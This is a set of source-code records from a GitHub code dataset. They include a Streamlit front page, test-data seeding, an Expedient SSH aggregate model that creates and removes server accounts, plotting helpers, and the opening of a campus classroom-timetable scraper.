{"api_name": "numpy.random", "line_number": 34, "usage_type": "attribute"}, {"api_name": "ShippingCost.exception.ShippingException", "line_number": 40, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 66, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 66, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 67, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 67, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 68, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 73, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 73, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 74, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 74, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 83, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 83, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 84, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 84, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 88, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 88, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 89, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 89, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 90, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 90, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 91, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 93, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 93, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 95, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 97, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 97, "usage_type": "name"}, {"api_name": "pandas.concat", "line_number": 100, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 101, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 101, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 105, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 105, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 106, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 106, "usage_type": "name"}, {"api_name": "sklearn.impute.KNNImputer", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 109, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 110, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 110, "usage_type": "name"}, {"api_name": "pandas.concat", "line_number": 112, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 118, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 118, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 119, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 119, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 122, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 122, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 124, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 124, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 129, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 129, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 130, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 130, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 131, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 134, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 134, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.RobustScaler", "line_number": 135, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 141, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 141, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 143, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 147, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 147, "usage_type": "name"}, {"api_name": "ShippingCost.utils.save_numpy_array_data", "line_number": 148, "usage_type": "call"}, {"api_name": "ShippingCost.utils.save_numpy_array_data", "line_number": 149, "usage_type": "call"}, {"api_name": "ShippingCost.utils.save_numpy_array_data", "line_number": 150, "usage_type": "call"}, {"api_name": "ShippingCost.utils.save_numpy_array_data", "line_number": 151, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 152, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 152, "usage_type": "name"}, {"api_name": "ShippingCost.utils.save_object", "line_number": 153, "usage_type": "call"}, {"api_name": "ShippingCost.utils.save_object", "line_number": 154, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 156, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 156, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 162, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 162, "usage_type": "name"}, {"api_name": "ShippingCost.entity.artifact_entity.DataTransformationArtifact", "line_number": 163, "usage_type": "call"}, {"api_name": "ShippingCost.entity.artifact_entity", "line_number": 163, "usage_type": "name"}, {"api_name": "ShippingCost.logger.logging.info", "line_number": 171, "usage_type": "call"}, {"api_name": "ShippingCost.logger.logging", "line_number": 171, "usage_type": "name"}, {"api_name": "ShippingCost.exception.ShippingException", "line_number": 178, "usage_type": "call"}]}
{"seq_id": "8989148199", "text": "import shutil\r\nimport streamlit as st\r\nfrom streamlit_option_menu import option_menu\r\n#---------------------------------------------------------------------------------------------\r\nst.set_page_config(page_title=\"Natural Neural Vision Algorithm\", page_icon=\":house:\", layout=\"wide\")\r\n\r\n\r\nwith st.sidebar:\r\n    choose = option_menu(\"Natural Neural Vision Algorithms\", [\"About\", \"DL Model\",\"Data Analysis\", \"Contact Us\"],\r\n                         icons=['house-fill', 'camera-reels-fill','bar-chart-line-fill','person-fill'],\r\n\r\n                         menu_icon=\"app-indicator\", default_index=0,\r\n                         styles={\r\n        \"container\": {\"padding\": \"5!important\", \"background-color\": \"#fafafa\"},\r\n        \"icon\": {\"color\": \"orange\", \"font-size\": \"25px\"},\r\n        \"nav-link\": {\"font-size\": \"16px\", \"text-align\": \"left\", \"margin\":\"0px\", \"--hover-color\": \"#eee\"},\r\n        \"nav-link-selected\": {\"background-color\": \"#02ab21\"},\r\n\r\n    },\r\n    )\r\n\r\n\r\n#---------------------------------------------------------------------------------------------------\r\nfrom about_page import about_page\r\nfrom contact_page import contact_page\r\nfrom edit_page import edit_page\r\nfrom dividing import analyse\r\n\r\n\r\nif choose == \"About\":\r\n    about_page()\r\n    try:\r\n        shutil.rmtree(\"images\")\r\n    except FileNotFoundError:\r\n        print(\"\")\r\nelif choose == \"DL Model\":\r\n    edit_page()\r\n\r\nelif choose==\"Data Analysis\":\r\n    analyse()\r\n    try:\r\n        shutil.rmtree(\"images\")\r\n    except FileNotFoundError:\r\n        print(\"\")\r\nelif choose == \"Contact Us\":\r\n    contact_page()\r\n    try:\r\n        shutil.rmtree(\"images\")\r\n    except FileNotFoundError:\r\n        print(\"\")", "repo_name": "ziyad-saied/Computational-Brain-Anatomy", "sub_path": "homepage.py", "file_name": "homepage.py", "file_ext": "py", "file_size_in_byte": 1668, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "streamlit.set_page_config", "line_number": 5, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 8, "usage_type": "attribute"}, {"api_name": "streamlit_option_menu.option_menu", "line_number": 9, "usage_type": "call"}, {"api_name": "about_page.about_page", "line_number": 31, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 33, "usage_type": "call"}, {"api_name": "edit_page.edit_page", "line_number": 37, "usage_type": "call"}, {"api_name": "dividing.analyse", "line_number": 40, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 42, "usage_type": "call"}, {"api_name": "contact_page.contact_page", "line_number": 46, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "74756169225", "text": "from hactivate.model.declarative_objects import *\nfrom hactivate.model.meta import Session\n\n\nimport logging\nlog = logging.getLogger(__name__)\n\ndef init_base_data():\n        log.info(\"Populating tables with base test data\")\n        \n        u1 = User()\n        u1.username      = u\"test\"\n        u1.name          = \"TES MONKEY MAN\"\n        \n        u2 = User()\n        u2.username      = u\"elroid\"\n        u2.name          = \"Elliot Test\"\n        \n        Session.add_all([u1,u2])\n        Session.commit()\n        \n        uc1 = UserContact()\n        uc1.contact_type = \"sms\"\n        uc1.data = \"447928065717\"\n        uc1.contact_direction_type = \"out\"\n        u2.contacts.append(uc1)\n        \n        # -- Items ---\n        \n        i1 = Item()\n        #i1.user_id              = 1\n        i1.title                = \"Bike Seat\"\n        i1.description          = \"You sit on it\"\n        i1.item_type            = \"item\"\n        i1.direction_type       = \"offer\"\n        i1.lon                  = 0.0\n        i1.lat                  = 0.0\n        u1.items.append(i1)\n        \n        i0 = Item()\n        #i0.user_id              = 1\n        i0.title                = \"Necromicon\"\n        i0.description          = \"Don't read it\"\n        i0.item_type            = \"item\"\n        i0.direction_type       = \"offer\"\n        i0.lon                  = 1.0\n        i0.lat                  = 1.0\n        u1.items.append(i0)\n        \n        # -- Searchs ---\n        \n        s1 = UserSearch()\n        s1.radius = 1\n        s1.lon =  -0.120335\n        s1.lat =  51.532255\n        s1.keywords = \"bike\"\n        u1.searchs.append(s1)\n        \n        s1 = UserSearch()\n        s1.radius = 1\n        s1.lon =  -0.133188\n        s1.lat =  51.539662\n        s1.keywords = \"ladder\"\n        u1.searchs.append(s1)\n        \n        s1 = UserSearch()\n        s1.radius = 1\n        s1.lon = -2.357254\n        s1.lat =  51.386352\n        s1.keywords = \"mattress\"\n        u2.searchs.append(s1)\n        \n        s1 = UserSearch()\n        s1.radius = 1\n        s1.lon = -2.357254\n        s1.lat =  51.386352\n        s1.keywords = \"camera\"\n        u2.searchs.append(s1)\n        \n        #Session.add_all([i1, i0])\n        Session.commit()\n", "repo_name": "GothAck/Civicboom-hActivate", "sub_path": "hActivate/hactivate/init_base_data.py", "file_name": "init_base_data.py", "file_ext": "py", "file_size_in_byte": 2212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "hactivate.model.meta.Session.add_all", "line_number": 19, "usage_type": "call"}, {"api_name": "hactivate.model.meta.Session", "line_number": 19, "usage_type": "name"}, {"api_name": "hactivate.model.meta.Session.commit", "line_number": 20, "usage_type": "call"}, {"api_name": "hactivate.model.meta.Session", "line_number": 20, "usage_type": "name"}, {"api_name": "hactivate.model.meta.Session.commit", "line_number": 81, "usage_type": "call"}, {"api_name": "hactivate.model.meta.Session", "line_number": 81, "usage_type": "name"}]}
{"seq_id": "21273630545", "text": "import matplotlib.pyplot as plt\nimport numpy as np \nimport matplotlib\nplt.rcParams.update({\n    \"font.family\": \"serif\",\n    \"font.serif\": [],           \n    \"font.sans-serif\": [],  \n})\n\nf = ['FX_','FY_','FZ_']\n\nplt.figure(1)\na = open('OMADA 12/'+f[0]+'1.lvm','r')\nl = readlines(1)\nl = l[-2:]\nplt.plot(l)", "repo_name": "billyon/first", "sub_path": "freza.py", "file_name": "freza.py", "file_ext": "py", "file_size_in_byte": 303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}]}
{"seq_id": "16249057387", "text": "import shlex, subprocess\nfrom StringIO import StringIO\nfrom django.db import models\nfrom django.db.models.fields import IPAddressField\nimport paramiko\nfrom paramiko.rsakey import RSAKey\nfrom expedient.clearinghouse.aggregate.models import Aggregate\nfrom expedient.clearinghouse.resources.models import Resource, Sliver\nfrom expedient.common.utils.modelfields import LimitedIntegerField\nfrom expedient.common.middleware import threadlocals\nfrom expedient.clearinghouse.utils import post_message_to_current_user\nfrom expedient.common.messaging.models import DatedMessage\nfrom expedient.clearinghouse.slice.models import Slice\n\n# SSHServer class\nclass SSHServer(Resource):\n    # SSHServer fields\n    ip_address = IPAddressField(\n        \"IP address\",\n        help_text=\"Specify the server's IP address.\",\n    )\n    ssh_port = LimitedIntegerField(\n        \"SSH port number\",\n        min_value=1,\n        max_value=2**16-1,\n        default=22,\n        help_text=\"Specify the SSH port number to use.\"\n    )\n    # end\n\n    def is_alive(self):\n        \"\"\"Ping the server and check if it's alive.\n        \n        @return: True if ping succeeds, False otherwise.\n        \"\"\"\n        ret = subprocess.call(\n            shlex.split(\"ping -c 1 -W 2 %s\" % self.ip_address),\n            stdout=open('/dev/null', 'w'),\n            stderr=subprocess.STDOUT,\n        )\n        \n        if ret == 0:\n            return True\n        else:\n            return False\n        \n    def exec_command(self, command, **connection_info):\n        \"\"\"Connect to the server using an SSH session and execute a command.\n        \n        @param command: The command to execute\n        @type command: C{str}\n        @param username: The username to use to connect to the server.\n        @type username: C{str}\n        @keyword connection_info: A dict of other info to pass to\n            C{paramiko.SSHClient.exec_command}.\n        @return: A (out, err) tuple that is the output read on the\n            stdout and stderr channels.\n        @rtype: C{tuple(str, str)}\n        \"\"\"\n\n        client = paramiko.SSHClient()\n        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n        client.connect(\n            str(self.ip_address),\n            port=int(self.ssh_port),\n            **connection_info\n        )\n        _, sout, serr = client.exec_command(command)\n        o = sout.read()\n        e = serr.read()\n        client.close()\n        return o, e\n    \n    def __unicode__(self):\n        return u\"SSH server at IP %s\" % self.ip_address\n        \nclass SSHServerSliver(Sliver): pass\n\nclass SSHSliceInfo(models.Model):\n    slice = models.OneToOneField(Slice)\n    public_key = models.TextField()\n    \n# SSHAggregate class\nclass SSHAggregate(Aggregate):\n    # SSHAggregate information field\n    information = \"An aggregate of SSH servers that are controlled\" \\\n        \" by a single administrator, to which users can request\" \\\n        \" access. Once approved, users get SSH access to all\" \\\n        \" machines using a public key they provide.\"\n    # SSHAggregate end information field\n    \n    # SSHAggregate meta\n    class Meta:\n        verbose_name = \"SSH Aggregate\"\n    # SSHAggregate end meta\n    \n    # SSHAggregate required fields\n    admin_username = models.CharField(max_length=255)\n    private_key = models.TextField()\n    # SSHAggregate end required fields\n    \n    # SSHAggregate optional fields\n    add_user_command = models.TextField(\n        default=\"sh -c 'sudo useradd -m %(username)s'\",\n        help_text=\"Specify the command to create a new user. \" \\\n            \"'%(username)s' will be replaced by the user's \" \\\n            \" username. The command should return non-zero on failure \" \\\n            \" and 0 on success.\",\n    )\n    del_user_command = models.TextField(\n        default=\"sh -c 'sudo userdel -r -f %(username)s'\",\n        help_text=\"Specify the command to delete an existing user. \" \\\n            \"'%(username)s' will be replaced by the user's \" \\\n            \" username. The command should return non-zero on failure \" \\\n            \" and 0 on success.\",\n    )\n    add_pubkey_user_command = models.TextField(\n        default=\"sudo -u %(username)s mkdir /home/%(username)s/.ssh; \"\n            \"sudo -u %(username)s chmod 700 /home/%(username)s/.ssh; \"\n            \"sh -c 'sudo -u %(username)s echo %(pubkey)s >> \"\n            \"/home/%(username)s/.ssh/authorized_keys'\",\n        help_text=\"Specify the command to add a public key to a user's \" \\\n            \"account. '%(username)s' will be replaced by the user's \" \\\n            \" username and '%(pubkey)s' will be replaced by the public key.\" \\\n            \" The command should return non-zero on failure \" \\\n            \" and 0 on success.\",\n    )\n    # SSHAggregate end optional fields\n    \n    def _op_user(self, op, server, cmd_subs, quiet=False):\n        \"\"\"common code for adding/removing users.\"\"\"\n        \n        pkey_f = StringIO(self.private_key)\n        pkey = RSAKey.from_private_key(pkey_f)\n        pkey_f.close()\n        \n        cmd = getattr(self, \"%s_user_command\" % op) % cmd_subs\n        cmd = cmd + \"; echo $?\"\n        out, err = server.exec_command(\n            cmd,\n            username=str(self.admin_username),\n            pkey=pkey,\n        )\n        \n        lines = out.strip().split(\"\\n\")\n        ret = int(lines[-1])\n        \n        if ret != 0:\n            error = \"\".join(lines[:-1])\n            if not quiet:\n                # msg example\n                msg = \"Failed to %s user on %s. Output was:\\n%s\" \\\n                    % (op, server, error),\n                post_message_to_current_user(\n                    msg,\n                    msg_type=DatedMessage.TYPE_ERROR,\n                )\n                # end msg example\n            raise Exception(msg)\n\n    def add_user(self, server, username, pubkey, quiet=False):\n        \"\"\"Add a user to a server.\n        \n        Add a user with username C{username} with public key C{pubkey} to\n        server C{server}.\n        \n        @param server: The server to add the user to.\n        @type server: L{SSHServer}\n        @param username: the new user's username\n        @type username: C{str}\n        @param pubkey: The public key to add to the user's account.\n        @type pubkey: the public key's value a C{str} \n        @keyword quiet: If True, no messages will be sent on failure.\n            Defaults to False.\n        @type quiet: C{boolean}\n        \"\"\"\n        self._op_user(\"add\", server, {\"username\": username}, quiet)\n        self._op_user(\n            \"add_pubkey\",\n            server,\n            {\"username\": username, \"pubkey\": pubkey},\n            quiet,\n        )\n    \n    def del_user(self, server, username, quiet=False):\n        \"\"\"Remove user from a server.\n        \n        Remove user with username C{username} from server C{server}.\n        \n        @param server: The server to remove the user from.\n        @type server: L{SSHServer}\n        @param username: the user's username\n        @type username: C{str}\n        @keyword quiet: If True, no messages will be sent on failure.\n            Defaults to False.\n        @type quiet: C{boolean}\n        \"\"\"\n        self._op_user(\"del\", server, {\"username\": username}, quiet)\n        \n    def check_status(self):\n        return self.available and reduce(\n            lambda x, y: x and y.is_alive(),\n            SSHServer.objects.filter(aggregate__id=self.id),\n    )\n    \n    # start_slice func\n    def start_slice(self, slice):\n        # start_slice call super\n        super(SSHAggregate, self).start_slice(slice)\n        # start_slice end call super\n        \n        # start_slice get info\n        slice_info = SSHSliceInfo.objects.get(slice=slice)\n        # start_slice get user\n        user = slice.owner\n        # start_slice get slivers\n        slivers = SSHServerSliver.objects.filter(\n            slice=slice, resource__aggregate__id=self.id)\n        # start_slice end info\n        \n        # start_slice loop\n        succeeded = []\n        for sliver in slivers:\n            # Execute the command on the server and get status\n            server = sliver.resource.as_leaf_class()\n            # start_slice add user\n            try:\n                self.add_user(server, user.username, slice_info.public_key)\n            except:\n                for s in succeeded:\n                    try:\n                        self.del_user(s, user.username)\n                    except:\n                        pass\n                raise\n            \n            succeeded.append(server)\n            # start_slice end loop\n            \n    def stop_slice(self, slice):\n        super(SSHAggregate, self).start_slice(slice)\n        user = threadlocals.get_thread_locals()[\"user\"]\n        for sliver in SSHServerSliver.objects.filter(slice=slice):\n            server = sliver.resource.as_leaf_class()\n            try:\n                self.del_user(server, user.username)\n            except:\n                pass\n", "repo_name": "fp7-ofelia/ocf", "sub_path": "expedient/src/doc/expedient/source/developer/sshaggregate/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 8923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "81", "api": [{"api_name": "expedient.clearinghouse.resources.models.Resource", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.fields.IPAddressField", "line_number": 18, "usage_type": "call"}, {"api_name": "expedient.common.utils.modelfields.LimitedIntegerField", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 36, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 37, "usage_type": "call"}, {"api_name": "subprocess.STDOUT", "line_number": 39, "usage_type": "attribute"}, {"api_name": "paramiko.SSHClient", "line_number": 61, "usage_type": "call"}, {"api_name": "paramiko.AutoAddPolicy", "line_number": 62, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.resources.models.Sliver", "line_number": 77, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 79, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 80, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.slice.models.Slice", "line_number": 80, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 80, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 81, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.aggregate.models.Aggregate", "line_number": 84, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 98, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 99, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 99, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 103, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 103, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 110, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 110, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 117, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 117, "usage_type": "name"}, {"api_name": "StringIO.StringIO", "line_number": 133, "usage_type": "call"}, {"api_name": "paramiko.rsakey.RSAKey.from_private_key", "line_number": 134, "usage_type": "call"}, {"api_name": "paramiko.rsakey.RSAKey", "line_number": 134, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.utils.post_message_to_current_user", "line_number": 154, "usage_type": "call"}, {"api_name": "expedient.common.messaging.models.DatedMessage.TYPE_ERROR", "line_number": 156, "usage_type": "attribute"}, {"api_name": "expedient.common.messaging.models.DatedMessage", "line_number": 156, "usage_type": "name"}, {"api_name": "expedient.common.middleware.threadlocals.get_thread_locals", "line_number": 242, "usage_type": "call"}, {"api_name": "expedient.common.middleware.threadlocals", "line_number": 242, "usage_type": "name"}]}
{"seq_id": "75151047305", "text": "import matplotlib.pyplot as plt\n\ndef save(show_plot=0, save=None, dpi=300, fmt='.png', verbose=True, **kwargs):\n    \"\"\"\n\n    Optional:\n        show_plot : Show plot.\n        save : Save figure to file.\n\n    \"\"\"\n    if save:\n        filename = save + fmt \n        if verbose:\n            print(\"Writing:\", filename)\n        plt.savefig(save, dpi=300, **kwargs)\n    if show_plot:\n        plt.show()\n", "repo_name": "hzfmer/pyawp", "sub_path": "plotting/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 397, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.savefig", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "11719828948", "text": "from lxml import etree\nfrom urllib import parse\nimport requests\nimport json\nimport re\nfrom datetime import datetime # 导入datetime模块\nfrom interval import Interval\nfrom lxml.html import tostring\nimport html\n# ANSI文件转UTF-8\nimport codecs\nimport os\n\nclass netSpider:\n  def __init__(self, week):\n    self.baseUrl = 'http://121.194.213.115/swyt/jxcdkbcx.php' #基于校园内网地址进行爬取\n    self.ua = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36'\n    self.week = week# http://121.194.213.72/ 教务处网站 获取实时教学周\n    self.urlDic = {\n                    'xnxq':\"'2020-20211'\"#查询日期,默认为2020-2021第一学期\n                    #'jxcdmc'为教室get请求头\n                    #  \"%CD%C5%D6%FD%BD%A3%C2%A5\"是由\"团铸剑楼\"gbk编码得来\n                  }\n    # 写入json的文本变量              \n    self.classRoomDataJsonText = {'zhuJian': {'am12':[],'am34':[],'pm12':[],'pm34':[]}, 'zhongLou':{'am12':[],'am34':[],'pm12':[],'pm34':[]}, 'XiPei':{'am12':[],'am34':[],'pm12':[],'pm34':[]}}\n    self.mobilizeBorrowJsonText = { \n      'mobilize': {  'zhuJian':  { '101': [],'102': [],'104': [],'105': [],'106': [],'108': [],'110': [],'111': [],'112': [],\n                                   '201': [],'202': [],'204': [],'205': [],'206': [],'207': [],'208': [],'210': [],\n                                   '301': [],'302': [],'303': [],'304': [],'305': [],'306': [],'307': [],'308': [],'309': [],\n                                   '401': [],'402': [],'403': [],'404': [],'405': [],'406': [],'407': [],'408': [],'409': [],'410': [],'411': [],\n                                   '501': [],'502': [],'503': [],'504': [],'505': [],'506': [],'507': [],'508': [],'509': [],'510': [],'511': [] \n                                  },\n                     'zhongLou': { '103': [],'104': [],'107': [],'110': [],'112': [],'113': [],\n                                   '203': [],'204': [],'205': [],'206': [],'207': [],'208': [],'210': [],'211': [],\n                                   '303': [],'304': [],'305': [],'306': [],'307': [],'308': [],\n                                   '407': [],'408': [],\n                                   '503': [],'504': [],'505': [],'506': [],'507': [],'510': [],\n                                   '603': [],'607': [],\n                                   '703': [],'704': [],'705': [],'707': [],'708': []\n                                  },\n                     'XiPei':    { '102': [],'103': [],'104': [],'105': [],'106': [],'109': [],\n                                   '202': [],'203': [],'204': [],'205': [],'206': [],'209': [],\n                                   '302': [],'303': [],'304': [],'305': [],'306': [],'309': [],\n                                   '402': [],'403': [],'404': [],'405': [],'406': [],'409': [],\n                                   '502': [],'503': [],'504': [],'505': [],'506': [],'509': [] \n                                  } \n                  },\n      'borrow':{    'zhuJian':  { '101': [],'102': [],'104': [],'105': [],'106': [],'108': [],'110': [],'111': [],'112': [],\n                                   '201': [],'202': [],'204': [],'205': [],'206': [],'207': [],'208': [],'210': [],\n                                   '301': [],'302': [],'303': [],'304': [],'305': [],'306': [],'307': [],'308': [],'309': [],\n                                   '401': [],'402': [],'403': [],'404': [],'405': [],'406': [],'407': [],'408': [],'409': [],'410': [],'411': [],\n                                   '501': [],'502': [],'503': [],'504': [],'505': [],'506': [],'507': [],'508': [],'509': [],'510': [],'511': [] \n                                  },\n                     'zhongLou': { '103': [],'104': [],'107': [],'110': [],'112': [],'113': [],\n                                   '203': [],'204': [],'205': [],'206': [],'207': [],'208': [],'210': [],'211': [],\n                                   '303': [],'304': [],'305': [],'306': [],'307': [],'308': [],\n                                   '407': [],'408': [],\n                                   '503': [],'504': [],'505': [],'506': [],'507': [],'510': [],\n                                   '603': [],'607': [],\n                                   '703': [],'704': [],'705': [],'707': [],'708': []\n                                  },\n                     'XiPei':    { '102': [],'103': [],'104': [],'105': [],'106': [],'109': [],\n                                   '202': [],'203': [],'204': [],'205': [],'206': [],'209': [],\n                                   '302': [],'303': [],'304': [],'305': [],'306': [],'309': [],\n                                   '402': [],'403': [],'404': [],'405': [],'406': [],'409': [],\n                                   '502': [],'503': [],'504': [],'505': [],'506': [],'509': [] \n                                  } }\n    }\n    # 铸剑楼教室\n    self.classRoomNumZhuJian = ['101','102','104','105','106','108','110','111','112',\n                                '201','202','204','205','206','207','208','210',\n                                '301','302','303','304','305','306','307','308','309',\n                                '401','402','403','404','405','406','407','408','409','410','411',\n                                '501','502','503','504','505','506','507','508','509','510','511' ]\n    # 中楼教室\n    self.classRoomNumZhong = ['103','104','107','110','112','113',\n                              '203','204','205','206','207','208','210','211',\n                              '303','304','305','306','307','308',\n                              '407','408',\n                              '503','504','505','506','507','510',\n                              '603','607',\n                              '703','704','705','707','708']\n    # 西配楼教室                          \n    self.classRoomNumXi = [ '102','103','104','105','106','109',\n                            '202','203','204','205','206','209',\n                            '302','303','304','305','306','309',\n                            '402','403','404','405','406','409',\n                            '502','503','504','505','506','509',]\n\n    #测试用教室号\n    # self.classRoomNumZhuJian = ['404', '410']#铸剑楼教室\n    # self.classRoomNumZhong = ['103']#中楼教室\n    # self.classRoomNumXi = ['102']#西配楼教室\n    # 具体课表在网页中的路径表示\n    self.pathPool = [#上午1、2节\n                    \"//table[@class='table table-bordered table-striped table-condensed']//tr[1]//td[2]/text()\",\n                    \"//table[@class='table table-bordered table-striped table-condensed']//tr[1]//td[3]/text()\",\n                    \"//table[@class='table table-bordered table-striped table-condensed']//tr[1]//td[4]/text()\",\n                    \"//table[@class='table table-bordered table-striped table-condensed']//tr[1]//td[5]/text()\",\n                    \"//table[@class='table table-bordered table-striped table-condensed']//tr[1]//td[6]/text()\",\n                    #上午3、4节\n                    \"//body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[2]/td[2]/text()\",\n                    \"//body[1]/div[3]/div[1]/div[1]/div[3]/div[1]/div[2]/table[1]/tbody[1]/tr[2]/td[3]/text()\",\n                    